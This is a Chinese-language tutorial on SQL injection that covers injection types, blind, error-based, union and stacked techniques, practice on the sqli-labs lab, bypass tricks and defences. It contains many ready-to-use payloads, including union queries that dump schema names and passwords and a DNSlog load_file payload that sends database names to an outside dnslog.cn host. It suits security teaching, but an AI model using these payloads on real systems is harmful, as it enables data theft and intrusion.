1. SQL注入简介
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
2. SQL注入的类型
2.1注入点类型分类
2.1.1 数字型注入
当我们访问页面时经常会出现http:xxx.admin.com?id=1这种形式的url,这个时候我们输入and 1=1与and 1=2,进行判定看是否会出现and 1=1回显正常,and 1=2回显不正常的情况。如果出现了我们一般就认为这里存在注入,并且是数字型注入。如果没有出现那么并不能排查这里没有注入,只是排除这里不存在数字型的注入。
数字型注入还可以利用数字的增减操作进行布尔盲注,避免使用and,or 等敏感词
id=3-1
id=1%2b1
2.1.2 字符型
http:xxx.admin.com?id=1同样的url,我们输入 ‘ 看是否会出现报错的现象。如果存在我们可以进一步的闭合我们的语句。
select * from table where id='1'
加入’ and 1=1 #
select * from table where id='1' and 1=1 # '
2.1.3 搜索型注入
搜索框内会使用这样形式的sql语句进行查询
SELECT*from test where names like '%要查询的关键字%'
我们写入类型这样的语句进行闭合 %’ and 1=1 #
SELECT*from test where names like '%要查询的关键字%' and 1=1 # % '
2.2 按照数据提交方式
2.2.1 get注入
数据以get的方式进行提交。注入点一般在get提交的url后,可以通过bp抓包进行查找
2.2.2 post注入
数据以post的方式进行提交。注入点一般表单的填写处,如资料的填写等地方较为常见,可以通过bp抓包进行查找
2.2.3 http头部注入
**user-agent:**判定用户使用的操作系统,以及使用的浏览器的版本
**cookie:**判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一张身份辨别卡
**x-forwarded-for:**是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
**client-ip:**数据库保存客户端IP的参数
**rerfere:**浏览器向web端表明自己从哪个连接而来
**host:**客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
2.3 按照执行结果
2.3.1 盲注
- 特点:盲注在于无法构造出回显位时使用
- 优点:优点是适配绝大部分注入点
- 缺点:注入繁琐,费时费力,高频率对服务器发起访问也容易被ban。
- 分类:布尔盲注,时间盲注,dnslog盲注
2.3.1.1 布尔盲注
特点:以页面回显的内容的不同作为判定依据。
id=1 and 1=1
id=1 and 1=2
id=1 and user()=‘root@localhost’
id=1 and substr((select user()),1,1)= ‘r’
id=1 and ascii(substr((select
user()),1,1))= 114
2.3.1.2 时间盲注
时间盲注,以回显的时间长短作为判断依旧
id=1 and sleep(2)
id=1 and if((substr((select user()),1,1)='r'),sleep(2),1)
2.3.1.3 dnslog盲注
- 特点:必须windows系统,必须root权限,必须secure_file_priv为空
id=2 and 1=(selectload_file(concat('\\\\',hex(database()),'.pk4qft.dnslog.cn\\test')))
2.3.2 报错注入
- 特点:经过精心构造的函数,让函数处理user()等不合规定的数据,引发mysql报错。最常用的是updatexml()
- 优点:报错注入优点是注入位置广泛,几乎任何和数据库有关的操作经过sql拼接都可以产生报错注入,有回显位,获取数据方便。
- 缺点:缺点是必须开启错误提示,mysqli_error()
关键函数
1.floor
id=1 and
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group
by x)a);
2.extractvalue()
id=1 and
(extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
id=1 and (updatexml(1,concat(0x7e,(select
user()),0x7e),1));
4.geometrycollection()
id=1 and geometrycollection((select *
from(select * from(select user())a)b));
5.multipoint()
id=1 and multipoint((select * from(select
* from(select user())a)b));
6.polygon()
id=1 and polygon((select * from(select *
from(select user())a)b));
7.multipolygon()
id=1 and multipolygon((select *
from(select * from(select user())a)b));
8.linestring()
id=1 and linestring((select * from(select
* from(select user())a)b));
9.multilinestring()
id=1 and multilinestring((select *
from(select * from(select user())a)b));
10.exp()
id=1 and exp(~(select * from(select
user())a));
2.3.3 联合查询
- 特点:联合注入使用了union select联合查询,常用来拼接在where后面,并且通过报错的方式显示显位
- 优势:联合注入通过显位的方式可以快速的爆出数据
- 缺点:缺点是只能用在select最后处,后面如果还有sql语句就必须注释掉。并且必须用到union和select两个关键字,并且这两个关键字也很容易被拦截
关键函数
union select、group_concat
http://127.0.0.1/news.php?id=1
http://127.0.0.1/news.php?id=1 order by 4
http://127.0.0.1/news.php?id=-1 union
select 1,2,3,4
http://127.0.0.1/news.php?id=-1 union
select user(),2,3,4
SQL语句为
select * from news where id = $id;
确定列数
select * from news where id = 1 order by 4
显示回显位
select * from news where id = -1 union select 1,2,3,4
通过回显位爆出内容
select * from news where id = -1 union select user(),2,3,4
进而爆库,表,列,值
select * from news where id = -1 union select database(),2,3,4
select * from news where id =
-1 union select group_concat(schema_name),2,3,4 from information_schema.schemata
select * from news where id =
-1 union select group_concat(table_name),2,3,4 from information_schema.tables
where table_schema=database()
select * from news where id =
-1 union select group_concat(table_name),2,3,4 from information_schema.tables
where table_schema=database()
select * from news where id =
-1 union select group_concat(column_name),2,3,4 from information_schema.columns
where table_name= 'user' and table_schema=database()
select * from news where id = -1 union
select group_concat(password),2,3,4 from user
2.3.4 堆叠注入
特点:
- 堆叠注入在mysql数据库中并不常见,常见于mssql数据库,mssql数据库是默认堆叠注入的
- 堆叠注入必须要用到mysqli_multi_query()函数,可以使用分号分隔来执行多个语句,相当于可直连数据库
- 堆叠注入的危害性非常的大,通常sql注入有诸多限制,比如只能查不能增删改,不能更改数据库设置,而堆叠注入相当于获取了数据库密码进行直连,直接操作数据库
id=1;select user();
3. 注入点判断
首先我们需要判断注入点是否存在,如果在页面的url中存在某些参数,比如下面这个URL中就存在一个id参数:http://xxxxx.xxx/?id=1
我们就可以尝试改变id的数值,将参数值+1或-1,然后查看页面展示的内容是否会变化,如果页面会发生变化,则我们就可以初步判断,这个id会带入数据库查询,查询后的内容会显示到页面中来。
猜测查询的SQL语句大致为:
select * from [表名] where id = 1;
接下来我们就可以进行测试,看看我们传入的参数是否会被带入数据库查询,测试的方法如下:
3.1判断注入类型
此处我们以 sqli-lib为例,简单介绍一下sqli-lib是一个专门练习sql注入的靶场,在里面可以用到各种各样的注入技巧。
我们以sqli-laib第一关为例:输入的url为:
http://localhost/sqli-labs/Less-1/?id=1
我们修改id的数值,发现页面能够随之更改:
这时我们可以在id的后面添加一个引号看看会发生什么:
我们发下页面报错了,通过报错的内容,我们发现出错的位置是在:‘2’’ LIMIT 0,1
我们看到是因为我们添加了一个引号导致id的后面多了一个引号所以发生了错误。同时我们可以看到我们提交的参数两边是有单引号包裹的,所以我们可以判断出注入点的类型是字符型,单引号闭合。
那么如果是数字型注入,报错会是什么样的呢?我们这就来试试,我们以sqli-lib的第二关为例:
http://localhost/sqli-labs/Less-2/?id=2'
这时候我们看到出错的位置变了,变成了:’ LIMIT 0,1
我们看到我们传入的参数并没有显示在报错信息中,说明我们传入的参数前面并没有引号包裹,于是我们就判断出注入的类型是数字型。同时我们还可以通过在id后添加运算符,比如-1,+2,这样来观察页面的内容是否会变成对应的id 来判断注入的类型。
就比如这一关,我们将id变为1+1,这里注意,+号在URL中会被编码为空格,所以我们需要提前将+号进行URL编码,变为:%2b。这时我们来访问看看:
页面同样展示出了id=2时的页面,于是我们同样可以判断出注入点是数字型注入。
添加单引号
添加了单引号之后,如果页面中直接进行了报错,并且报错的信息显示到了页面中来,说明我们输入的单引号被带入了数据库查询,我们就可以直接判断此处存在sql注入漏洞。并且结合之前判断的页面是否有回显,就可以尝试进行联合查询注入或是报错注入。
添加逻辑运算
添加[and 1=1]和[and 1=2]
在添加逻辑运算之前我们需要判断或者猜测注入点的数据类型和闭合方式,并对语句进行相应的引号、括号闭合。
比如字符型我们可以直接添加and 1=1 ,而单验号闭合的字符型我们就需要添加 'and ‘1’=1 ,或 ‘and ‘1’=1’ # 使用注释符号将后面的引号直接注释掉。
添加了逻辑运算符之后提交,因为1=1恒为真,而1=2恒为假,所以如果我们的输入带入了数据库,一定会影响到SQL语句的布尔状态,如果两次查询返回的页面不同,说明页面存在布尔状态,此处存在注入漏洞,可以考虑使用布尔盲注进行注入。
添加sleep()函数
sleep()函数可以让程序在当前位置停留指定的时间,于是我们可以通过观察页面相应的时间来判断我们插入的参数是否会被带入数据库执行。
在参数后添加 and sleep(5) 然后观察页面响应时间是否明显变长,或直接在开发者工具中网络选项卡下观察页面的响应时间。如果页面响应时间确实按照我们的要求增加了5秒,则说明此处存在注入漏洞,我们可以考虑通过延时注入。
4. 权限提升
UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。
5. 绕过技巧
- 替换大小写
- 替换关键字
- 编码:16进制编码、unicode编码
- 插入注释
- 特殊符号
- 缓冲区溢出。
6. SQL注入的原理
SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达到欺骗服务器执行恶意的SQL命令。
它是利用现在已有的应用程序,将[SQL语句]插入到数据库中执行,执行一些并非按照设计者意图的SQL语句。
产生原因:
产生原因是程序没有细致过滤用户输入的数据,从而导致非法数据进入系统。
7. 如何防御
(1)参数化语句:用过将查询语句参数化,来防范SQL注入
(2)输入验证:通过白名单和黑名单的验证对用户的输入进行验证
(3)输出编码:对程序各个模块之间或者各个部分之间传递的数据进行编码处理
(4)规范化:拒绝所有不符合规范的输入和对输入编码进行解码分析是常见的两种规范化处理方法
(5)避免SQL注入漏洞的程序设计:使用存储过程、处理敏感数据等
(6) 安全的编码规范:根据OWASP提供的安全编码规范进行相关编码